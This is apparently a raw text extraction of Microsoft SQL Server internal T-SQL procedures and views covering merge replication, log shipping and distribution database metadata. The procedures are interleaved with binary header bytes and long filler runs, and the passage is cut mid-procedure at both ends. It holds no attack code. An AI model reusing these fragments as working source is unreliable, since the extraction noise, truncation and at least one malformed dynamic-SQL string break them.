    declare @publishingservername sysname
    declare @subid uniqueidentifier

    /*
    ** To public.
    */
    set nocount on
    if (@publication is null)
    begin
        RAISERROR(14003, 16, -1)
        return (1)
    end

    select @db_name = db_name()
    		,@publishingservername = publishingservername()

    /* 
    ** Security Check.
    */
    exec @retcode = sys.sp_MSmerge_validate_publication_presence @publication, @db_name, @publishingservername, @pubid output
    if @retcode <> 0 or @@error <> 0
        return 1

    
    select TOP 1 @artid=artid, @nickname=nickname from dbo.sysmergearticles where pubid=@pubid and identity_support=1 order by nickname ASC
    while (@artid is not NULL)
    begin
        -- we need a local subid to look up the entry in MSmerge_identity_range
        select @subid=subid from dbo.MSmerge_identity_range where artid=@artid and is_pub_range=1 and (sys.fn_MSmerge_islocalsubid(subid)=1)
        
        insert @tmp_table (tablename, next_seed, range, threshold, nickname)
            select object_name(a.objid), i.max_used, a.range, a.threshold, a.nickname 
            from dbo.sysmergearticles a
                inner join dbo.MSmerge_identity_range i on i.artid=a.artid and i.subid=@subid and i.is_pub_range=1
            where a.artid = @artid and a.pubid = @pubid
        if @@ERROR<>0
        begin
            raiserror(21197, 16, -1)
            return (1)
        end
        select @artid = NULL 
        select TOP 1 @artid=artid, @nickname=nickname from dbo.sysmergearticles 
            where pubid=@pubid and nickname>@nickname and identity_support=1 order by nickname ASC
    end
    select t.* from @tmp_table t, dbo.sysmergearticles sma 
    where t.nickname = sma.nickname
    and sma.pubid = @pubid
    order by sma.processing_order ASC, sma.nickname ASC
    
    return (0)  
0.@ l8CREATE PROCEDURE sys.sp_MSdist_activate_auto_sub
(
@publisher_id int,
@publisher_db sysname,
@article_id int
)
as
begin
  declare @automatic tinyint
  declare @active tinyint
  declare @subscribed tinyint

   set nocount on
    --
    -- security check
    -- only db_owner can execute this
    --
    if (is_member ('db_owner') != 1) 
    begin
        raiserror(14260, 16, -1)
        return (1)
    end

    select @automatic = 1
    select @subscribed = 1
    select @active = 2

    begin transaction MSdist_activate_auto_sub

       update dbo.MSsubscriptions set status = @active,
            subscription_time = getdate()
           where
              publisher_id = @publisher_id and
              publisher_db = @publisher_db and
              article_id = @article_id and
              sync_type = @automatic and
              status in( @subscribed )

       if @@ERROR <> 0
          begin
          if @@trancount > 0
            rollback transaction MSdist_activate_auto_sub
          return (1)
          end

   commit transaction
end
0 A8create procedure sys.sp_MSget_oledbinfo
    @server nvarchar(128),  -- the name by which the oledb datasource is referred to.
    @infotype nvarchar(128) = NULL,
    @login nvarchar(128) = NULL,
    @password nvarchar(128) = NULL
    AS

    SET NOCOUNT ON

    DECLARE @distproc nvarchar (255)
    DECLARE @providername nvarchar(256)
    DECLARE @datasource nvarchar(4000)
    DECLARE @location nvarchar(4000)
    DECLARE @providerstring nvarchar(4000)
    DECLARE @catalog nvarchar(256)
    DECLARE @retcode int

    -- Security Check: require sysadmin
    if (isnull(is_srvrolemember('sysadmin'),0) = 0)
    begin
        raiserror(21089,16,-1) 
        return (1)
    end

    select @providername = providername, @datasource = datasource, @location = location, @providerstring = providerstring, @catalog = catalog
        from master.dbo.sysservers where UPPER(srvname collate database_default) = UPPER(@server) collate database_default

    if (@@rowcount = 0)
    begin
        raiserror(15015, 16, -1, @server)
        return (1)
    end

    exec @retcode = sys.xp_oledbinfo @providername, @datasource, @location, @providerstring, @catalog, @login, @password, @infotype
    IF @@error <> 0
        BEGIN
        RAISERROR (14071, 16, -1)
        RETURN (1)
    END
0Vu M8CREATE VIEW sys.dm_db_script_level AS
	SELECT 
		d.database_id AS database_id,
		s.script_id AS script_id,
		s.script_name AS script_name,
		s.version AS version,
		s.script_level AS script_level,
		s.downgrade_start_level AS downgrade_start_level,
		s.downgrade_target_level AS downgrade_target_level,
		s.upgrade_start_level AS upgrade_start_level,
		s.upgrade_target_level AS upgrade_target_level
	FROM sys.databases d CROSS APPLY OpenRowset(TABLE DBSCRIPTLEVEL, d.database_id) s
	WHERE d.database_id < 0x7fff
		AND has_access('DL', 0) = 1
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!E
`^
a<W1
1}0@ 8
create procedure sys.sp_deletemergeconflictrow(
	@conflict_table			sysname = '%',
	@source_object			nvarchar(386) = NULL,
	@rowguid				uniqueidentifier,
	@origin_datasource		varchar(255),
	@drop_table_if_empty	varchar(10) = 'false')
as
	declare @retcode		int
	declare @cmd			nvarchar(4000)	
	declare @rowguidstr		nvarchar(40)
	declare @object			sysname	 
	declare @owner			sysname	 
	declare @tablenick		int
	declare @tablenickstr	nvarchar(11)
	declare @escaped_origin_datasource varchar(511)

	-- Security check: dbo and sysadmin only
	exec @retcode = sys.sp_MSreplcheck_publish
	if @@error <> 0 or @retcode <> 0
	begin
		return 1
	end	   

	set @rowguidstr = convert(nchar(36), @rowguid)
	set @escaped_origin_datasource = replace(@origin_datasource, '''', '''''')

    /* Delete conflict from Conflict_<Table> */
    if @conflict_table <> '%'
        begin
            select @cmd = 'delete '
            select @cmd = @cmd + quotename(@conflict_table) 
            select @cmd = @cmd + ' from ' + quotename(@conflict_table) + ' ct , MSmerge_conflicts_info info '
            select @cmd = @cmd + ' where info.origin_datasource = '''
            select @cmd = @cmd + @escaped_origin_datasource 
            select @cmd = @cmd + ''' and ct.rowguidcol = '''
            select @cmd = @cmd + @rowguidstr
            select @cmd = @cmd + ''' and info.rowguidcol = '''
            select @cmd = @cmd + @rowguidstr
            select @cmd = @cmd + 'ct.origin_datasource_id=info.origin_datasource_id '          
            select @cmd = @cmd + ''''

            exec (@cmd)
            if @@ERROR<>0 return (1)

            select @cmd = 'delete from MSmerge_conflicts_info where origin_datasource = ''' + @escaped_origin_datasource + '''
            					and rowguid = ''' + @rowguidstr + ''''
            exec (@cmd)
            if @@ERROR<>0 return (1)

            if LOWER(@drop_table_if_empty collate SQL_Latin1_General_CP1_CS_AS) = 'true'
            begin
                select @cmd = 'if not exists (select 1 from ' 
                select @cmd = @cmd + quotename(@conflict_table) 
                select @cmd = @cmd + ')'
                select @cmd = @cmd + ' update dbo.sysmergearticles set ins_conflict_proc = NULL, conflict_table = NULL where conflict_table = ''' + quotename(@conflict_table) + ''''
                exec (@cmd)
                if @@ERROR<>0 
                    return (1)
                
                select @cmd = 'if not exists (select 1 from ' 
                select @cmd = @cmd + quotename(@conflict_table)
                select @cmd = @cmd + ')'
                select @cmd = @cmd + ' drop table '
                select @cmd = @cmd + quotename(@conflict_table)
                select @cmd = @cmd + ''
                exec (@cmd)
                if @@ERROR<>0 return (1)
            end
        end
    /* Delete conflict from MSmerge_conflicts_info */
    else
        begin
        	if @source_object is NULL
        		begin
        			raiserror(14043, 16, -1, '@source_object', 'sp_deletemergeconflictrow')
        			return (1)
        		end
            select @object = PARSENAME(@source_object, 1)
            select @owner = PARSENAME(@source_object, 2)
            execute @retcode=sys.sp_MStablenickname @owner, @object, @tablenick output
        
            if @tablenick IS NULL or @@ERROR<>0 or @retcode<>0
                BEGIN
                    raiserror (20003, 11, -1, @object)
                    RETURN (1)
                END

			set @tablenickstr = convert(nchar, @tablenick)

			
			select @cmd = 'delete from MSmerge_conflicts_info'
			select @cmd = @cmd + ' where origin_datasource = '''
			select @cmd = @cmd + @escaped_origin_datasource 
			select @cmd = @cmd + ''' and tablenick = '
			select @cmd = @cmd + @tablenickstr
			select @cmd = @cmd + ' and rowguid = '''
			select @cmd = @cmd + @rowguidstr
			select @cmd = @cmd + ''''
			exec (@cmd)
			if @@ERROR<>0 return (1)

		end

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`p<E
2
1|w0^ '8create procedure sys.sp_cleanup_log_shipping_history 
(
    @agent_id uniqueidentifier     -- primary/secondary ID
    ,@agent_type tinyint              -- 0 = Backup, 1 = Copy, 2 = Restore
)
as
begin
    set nocount on
    declare @retcode int
                ,@agent_idstring sysname
                ,@history_retention_period int
                ,@curdate_utc datetime
                ,@monitor_server sysname
                ,@monitor_server_security_mode int
    --
    -- security check
    --
    exec @retcode = sys.sp_MSlogshippingsysadmincheck
    if (@retcode != 0 or @@error != 0)
        return 1
    --
    -- must be invoked from master db
    --
    if (db_name() != N'master')
    begin
        raiserror(5001, 16,-1)
        return 1
    end
    --
    -- validate agent_type
    --
    if (@agent_type not in (0,1,2))
    begin
        raiserror(21055, 16, -1, '@agent_type','sp_MSadd_log_shipping_error_detail')
        return 1
    end
    --
    -- validate agent
    --
    if (sys.fn_MSvalidatelogshipagentid(@agent_id, @agent_type) = 0)
    begin
        select @agent_idstring = cast(@agent_id as sysname)
        raiserror(32016, 16, 1, @agent_idstring, @agent_type)
        return 1
    end
    --
    -- get monitor server information
    --
    if (@agent_type = 0)
    begin
        select @monitor_server = pd.monitor_server
                ,@monitor_server_security_mode = pd.monitor_server_security_mode
                ,@history_retention_period = mp.history_retention_period
        from msdb.dbo.log_shipping_primary_databases as pd join msdb.dbo.log_shipping_monitor_primary as mp
            on pd.primary_id = mp.primary_id
        where pd.primary_id = @agent_id
    end
    else
    begin
        --
        -- there can be multiple secondaries for a secondary primary
        -- with different history retention periods - choose the highest
        --
        select @monitor_server = s.monitor_server
                ,@monitor_server_security_mode = s.monitor_server_security_mode
                ,@history_retention_period = max(ms.history_retention_period)
        from msdb.dbo.log_shipping_secondary as s join msdb.dbo.log_shipping_monitor_secondary as ms
            on s.secondary_id = ms.secondary_id
        where s.secondary_id = @agent_id
        group by s.monitor_server, s.monitor_server_security_mode
    end
    --
    -- cleanup now
    --
    select @curdate_utc = getutcdate()
    exec @retcode = sys.sp_MSprocesslogshippingretentioncleanup 
                    @agent_id = @agent_id
                    ,@agent_type = @agent_type
                    ,@monitor_server = @monitor_server
                    ,@monitor_server_security_mode = @monitor_server_security_mode
                    ,@history_retention_period = @history_retention_period
                    ,@curdate_utc = @curdate_utc
    if (@retcode != 0 or @@error != 0)
        goto UNDO    
    --
    -- all done
    --
    return 0
    
UNDO:
    return 1
end
0@ 8 
-- add it
create view sys.dm_pdw_dms_cores as
select
	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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`4
<W3
1+0Cq@ W8create procedure sys.sp_copymergesnapshot (
    @publication          sysname,
    @destination_folder   nvarchar(255)
    )
AS
BEGIN
    SET NOCOUNT ON
    DECLARE @retcode       int
    DECLARE @source_folder nvarchar(255)
    SELECT @retcode = 0
    
    EXEC @retcode = dbo.sp_MSreplcheck_publish
    IF @@ERROR <> 0 or @retcode <> 0
        return (1)

    CREATE TABLE #snapshot_folders
    (
        id              int identity, 
        snapshot_folder nvarchar(255) collate database_default
    )
    IF @@ERROR <> 0
    BEGIN
        RETURN 1
    END

    INSERT INTO #snapshot_folders
    EXEC @retcode = sys.sp_browsemergesnapshotfolder @publication = @publication
    IF @retcode <> 0 OR @@ERROR <> 0
    BEGIN
        GOTO Failure
    END
    
    SELECT @source_folder = (select top 1 snapshot_folder FROM #snapshot_folders ORDER BY id ASC)
    IF @@ERROR <> 0
    BEGIN
        GOTO Failure
    END        
    SET ROWCOUNT 0    

    EXEC @retcode = sys.sp_MScopysnapshot @source_folder,
                                          @destination_folder
    IF @retcode <> 0 OR @@ERROR <> 0 
    BEGIN
        GOTO Failure
    END

    DROP TABLE #snapshot_folders
    RETURN 0
Failure:
    SET ROWCOUNT 0    
    DROP TABLE #snapshot_folders        
    RETURN 1
END
0`d 8
create proc sys.sp_MSdbuserpriv
	@mode nvarchar(10) = N'perm'
as

/* Order of privilege evaluation is:  user granted/revoked, then group granted/revoked, then public granted/revoked */









   set nocount on
   declare @bits int, @status int, @prot int, @perms int
   declare @dbrole int, @dbrolestr nvarchar(12)

   /* If 'srv', we're selecting the server (master db) user profile - currently, just create db priv. */
   if (lower(@mode) like N'serv%')
      begin
      select @bits = 0x0000
      if (user_id() = 1 or is_srvrolemember(N'sysadmin') = 1 or is_member(N'db_owner') = 1)
         begin
         /* sa has everything */
         select @bits = 0x0007
         end
      else begin
         if ((PERMISSIONS() & 1) > 0)
            SELECT @bits = @bits | 0x0002
         if ((PERMISSIONS(OBJECT_ID(N'sp_addextendedproc')) & 32) > 0)
            SELECT @bits = @bits | 0x0004
         end
      select @bits
      return 0
      end

   /* If 'perm', we're selecting the current database priv and role membership for the login user. */
	if (lower(@mode) like N'role%' or lower(@mode) like N'ver%' or lower(@mode) like N'perm%')
      begin
      if (user_id() = 1 or is_srvrolemember(N'sysadmin') = 1 or is_member(N'db_owner') = 1)
         begin
         /* sa/Dbo has everything. */
         select @bits = 0x03ff
         end
      else begin
         /* Not dbo so get individual privileges */
         select @bits = 0x0000, @perms = PERMISSIONS(), @status = status from dbo.sysusers where uid = user_id()

         if ((@perms & 2) > 0)
            SELECT @bits = @bits | 0x0002
         if ((@perms & 8) > 0)
            SELECT @bits = @bits | 0x0004
         if ((@perms & 4) > 0)
            SELECT @bits = @bits | 0x0008
         if ((@perms & 64) > 0)
            SELECT @bits = @bits | 0x0010
         if ((@perms & 32) > 0)
            SELECT @bits = @bits | 0x0020
         if ((@perms & 128) > 0)
            SELECT @bits = @bits | 0x0040
         if ((@perms & 16) > 0)
            SELECT @bits = @bits | 0x0080
         if ((@perms & 256) > 0)
            SELECT @bits = @bits | 0x0100
         if ((@perms & 512) > 0)
            SELECT @bits = @bits | 0x0200
         end

      /* Get both Server and Database Role information */
      select @dbrole = 0x0000
      /* Server Roles */
      select @dbrole = (case when (is_srvrolemember(N'dbcreator') = 1) then @dbrole | 0x0001 else @dbrole end),
             @dbrole = (case when (is_srvrolemember(N'diskadmin') = 1) then @dbrole | 0x0002 else @dbrole end),
             @dbrole = (case when (is_srvrolemember(N'processadmin') = 1) then @dbrole | 0x0004 else @dbrole end),
             @dbrole = (case when (is_srvrolemember(N'securityadmin') = 1) then @dbrole | 0x0008 else @dbrole end),
             @dbrole = (case when (is_srvrolemember(N'serveradmin') = 1) then @dbrole | 0x0010 else @dbrole end),
             @dbrole = (case when (is_srvrolemember(N'setupadmin') = 1) then @dbrole | 0x0020 else @dbrole end),
             @dbrole = (case when (is_srvrolemember(N'sysadmin') = 1) then @dbrole | 0x0040 else @dbrole end),
             @dbrole = (case when (is_srvrolemember(N'bulkadmin') = 1) then @dbrole | 0x10000 else @dbrole end),
      /* Database Roles */
             @dbrole = (case when (is_member(N'db_accessadmin') = 1) then @dbrole | 0x0080 else @dbrole end),
             @dbrole = (case when (is_member(N'db_datareader') = 1) then @dbrole | 0x0100 else @dbrole end),
             @dbrole = (case when (is_member(N'db_ddladmin') = 1) then @dbrole | 0x0200 else @dbrole end),
             @dbrole = (case when (is_member(N'db_denydatareader') = 1) then @dbrole | 0x0400 else @dbrole end),
             @dbrole = (case when (is_member(N'db_denydatawriter') = 1) then @dbrole | 0x0800 else @dbrole end),
             @dbrole = (case when (is_member(N'db_backupoperator') = 1) then @dbrole | 0x1000 else @dbrole end),
             @dbrole = (case when (is_member(N'db_owner') = 1) then @dbrole | 0x2000 else @dbrole end),
             @dbrole = (case when (is_member(N'db_securityadmin') = 1) then @dbrole | 0x4000 else @dbrole end),
             @dbrole = (case when (is_member(N'db_datawriter') = 1) then @dbrole | 0x8000 else @dbrole end)

      if (lower(@mode) like N'ver%')
         begin
/* 7.0
         select @@version, N'login_id' = convert(int, suser_sid()), N'pagesize' = v.low, N'highbit' = v2.low, N'highbyte' = v3.low,
            N'casesens' = (case when (N'A' != N'a') then 1 else 0 end), @@spid, @@servername, is_srvrolemember(N'sysadmin'), @dbrole
            from master..spt_values v,master..spt_values v2,master..spt_values v3 where v.number=1 and v.type=N'E' and v2.number=2
            and v2.type=N'E' and v3.number=3 and v3.type=N'E'
*/
         select @@version, N'login_id' = convert(int, suser_sid()), N'pagesize' = v.low, N'highbit' = v2.low, N'highbyte' = v3.low,
            N'casesens' = (case when (N'A' != N'a') then 1 else 0 end), @@spid, convert(sysname, serverproperty(N'servername')),
            is_srvrolemember(N'sysadmin'), @dbrole,
            N'InstanceName' = convert(sysname, serverproperty(N'instancename')),
            N'PID' = convert(int, serverproperty(N'processid'))
            from master..spt_values v,master..spt_values v2,master..spt_values v3 where v.number=1 and v.type=N'E' and v2.number=2
            and v2.type=N'E' and v3.number=3 and v3.type=N'E'
         end
      else if (lower(@mode) like N'role%')
         begin
         select @dbrole
         end
      else if (lower(@mode) like N'perm%')
         begin
         select @bits
         end
      return 0
      end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`3
	<^4
1&V\њ0 +@ 8create procedure sys.sp_processlogshippingmonitorhistory 
(
    @mode tinyint -- 1 = add, 2 = delete
    ,@agent_id uniqueidentifier
    ,@agent_type tinyint  -- 0 = backup, 1 = copy, 2 = restore
    ,@session_id int = NULL 
    ,@session_status tinyint = NULL  -- 0 = Starting, 1 = Running, 2 = Success, 3 = Error, 4 = Warning
    ,@monitor_server sysname 
    ,@monitor_server_security_mode bit
    ,@database sysname = NULL -- needed for add
    ,@log_time datetime = NULL
    ,@log_time_utc datetime = NULL
    ,@message nvarchar(4000) = NULL -- should this be nvarchar(4000) since linked server may not process (max)
)
as
begin
    set nocount on
    declare @retcode int
    
    --
    -- security check
    --
    exec @retcode = sys.sp_MSlogshippingsysadmincheck
    if (@retcode != 0 or @@error != 0)
        return 1
    --
    -- This should be called only on the remote monitor server
    --
    if (@monitor_server is null or upper(@monitor_server) != upper(@@servername))
        return 0
    --
    -- must be invoked from MSDB
    --
    if (db_name() != N'msdb')
    begin
        raiserror (21482, 16, -1, N'sp_processlogshippingmonitorhistory', N'msdb')
        return 1
    end
    --
    -- call the internal proc now
    --
    exec @retcode = sys.sp_MSprocesslogshippingmonitorhistory
                    @mode = @mode
                    ,@agent_id = @agent_id
                    ,@agent_type = @agent_type
                    ,@session_id = @session_id
                    ,@session_status = @session_status
                    ,@monitor_server = @monitor_server
                    ,@monitor_server_security_mode = @monitor_server_security_mode
                    ,@database = @database
                    ,@log_time = @log_time
                    ,@log_time_utc = @log_time_utc
                    ,@message = @message
    if (@retcode != 0 or @@error != 0)
        return 1
    --
    -- all done
    --
    return 0
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`tu<0
5
1o0$Z 88@'Rh
0 8create procedure sys.sp_helpdistributiondb 
(
    @database sysname = '%'
)
as
begin
    set nocount on

    declare @retcode	int,
			@cmd		nvarchar(500),
			@dbname		sysname

	-- check to see if we are configured as a distributor
    if not exists (select * 
    				from master.dbo.sysservers
              		where upper(datasource collate database_default) = upper(@@servername) collate database_default
                 		and srvstatus & 8 <> 0)
    begin
    	-- if searching for any db then return success with no result... else we 
       	-- are searching for a specific db, which implies we think we are a dist (raiserror)
	    if @database = '%' 
	    begin
			 return(0)
	    end

    	-- '@@servername' is not configured as a Distributor.
        raiserror (14114, 16, -1, @@servername)
        return(1)      
    end

	if object_id('msdb.dbo.MSdistributiondbs', 'U') is null
	begin
		-- "Could not find the Distributor or the distribution database for the local server. The Distributor 
		--  may not be installed, or the local server may not be configured as a Publisher at the Distributor."
        raiserror (14071, 16, -1)
        return(1)
    end    

    -- Check if database is configured as a distributor database (only do this for a given db NOT all)
    if @database <> '%' 
		and sys.fn_MSrepl_isdistdb (@database) != 1
    begin
		-- '@database' is not configured as a distribution database.
        raiserror (14117, 16, -1, @database)
        return(1)
    end    

	-- table that holds a list of distribution dbs
    declare @distdb table 
			(
				dbname sysname
			)
	
	-- table that holds information on the database files    
	-- can't use @table because we need to do insert exec
    create table #dbfiledesc
			(
				dbname		sysname collate database_default,
				size		int not null,
				file_path	nvarchar(4000) collate database_default not null,
				type		smallint not null
			)   
    

	-- retrieve all distribution databases
    insert into @distdb (dbname)
		select sysdb.name 
			from master.dbo.sysdatabases sysdb 
				inner join msdb.dbo.MSdistributiondbs msddb
					on sysdb.name = msddb.name collate database_default
			where msddb.name like @database collate database_default
				and has_dbaccess(msddb.name) = 1 
          
	-- now, for each distribution database that the user has PAL 
	-- access to, we will retrieve the data and log file information. 
    declare hCdatabase CURSOR LOCAL FAST_FORWARD FOR
        select dbname 
			from @distdb
            
    open hCdatabase

    fetch next from hCdatabase into @dbname
    while (@@fetch_status <> -1)
    begin
        -- Check to see if the user is a member of 'db_owner' or 'replmonitor' role
        -- or in the PAL of any publication whose publisher is associated with
        -- this distribution database
        select @cmd = quotename(@dbname) + N'.sys.sp_MSrepl_DistDBPALAccess'
        
		exec @retcode = @cmd
        if @retcode = 0 and @@error = 0
		begin
			-- if we have pal access then insert data and log file info
			--
			-- NOTE : type map as follows:
			--		0 - Data File
			--		1 - Log File
			--		2 - FileStream Data File
			--		3 - FileStream Log File
			--		4 - Fulltext
			select @cmd = 'select N' + quotename(@dbname, N'''') + ',
								sysdf.size, 
								sysdf.physical_name,
								type
							from ' + quotename(@dbname) + '.[sys].[database_files] sysdf
							where sysdf.type not in (2, 3, 4)'

			insert into #dbfiledesc (dbname, size, file_path, type)
				exec(@cmd)
		end
        
        fetch next from hCdatabase into @dbname
    end
    close hCdatabase
    deallocate hCdatabase
	
	select msddb.name,	
			min_distretention, 
			max_distretention, 
			history_retention,
			'history_cleanup_agent' =  formatmessage (20567, msddb.name),
			'distributor_cleanup_agent' = formatmessage(20568, msddb.name),
			'status' = 0, 
			'data_folder' = substring(dbfd_data.file_path, 1, len(dbfd_data.file_path) - charindex('\', reverse(dbfd_data.file_path))),
			'data_file'	= right(dbfd_data.file_path, charindex('\', reverse(dbfd_data.file_path))-1),
			'data_file_size'= convert(int, (select low from master.dbo.spt_values where type = 'E' and number = 1) * convert(dec(15), dbfd_data.size)/ 1048576), 
			'log_folder' = substring(dbfd_log.file_path, 1, len(dbfd_log.file_path) - charindex('\', reverse(dbfd_log.file_path))),
			'log_file' = right(dbfd_log.file_path, charindex('\', reverse(dbfd_log.file_path))-1),
			'log_file_size' = convert(int, (select low from master.dbo.spt_values where type = 'E' and number = 1) * convert(dec(15), dbfd_log.size)/ 1048576) 
		from msdb.dbo.MSdistributiondbs msddb
			join #dbfiledesc dbfd_data
				on msddb.name = dbfd_data.dbname collate database_default
			join #dbfiledesc dbfd_log
				on dbfd_data.dbname = dbfd_log.dbname collate database_default
		where msddb.name LIKE @database collate database_default
			and dbfd_data.type = 0
			and dbfd_log.type = 1

	return 0
end
0q '8
create function sys.fn_cdc_is_table_enabled
(
	@object_id int
)
returns bit
as
begin
	
	if exists
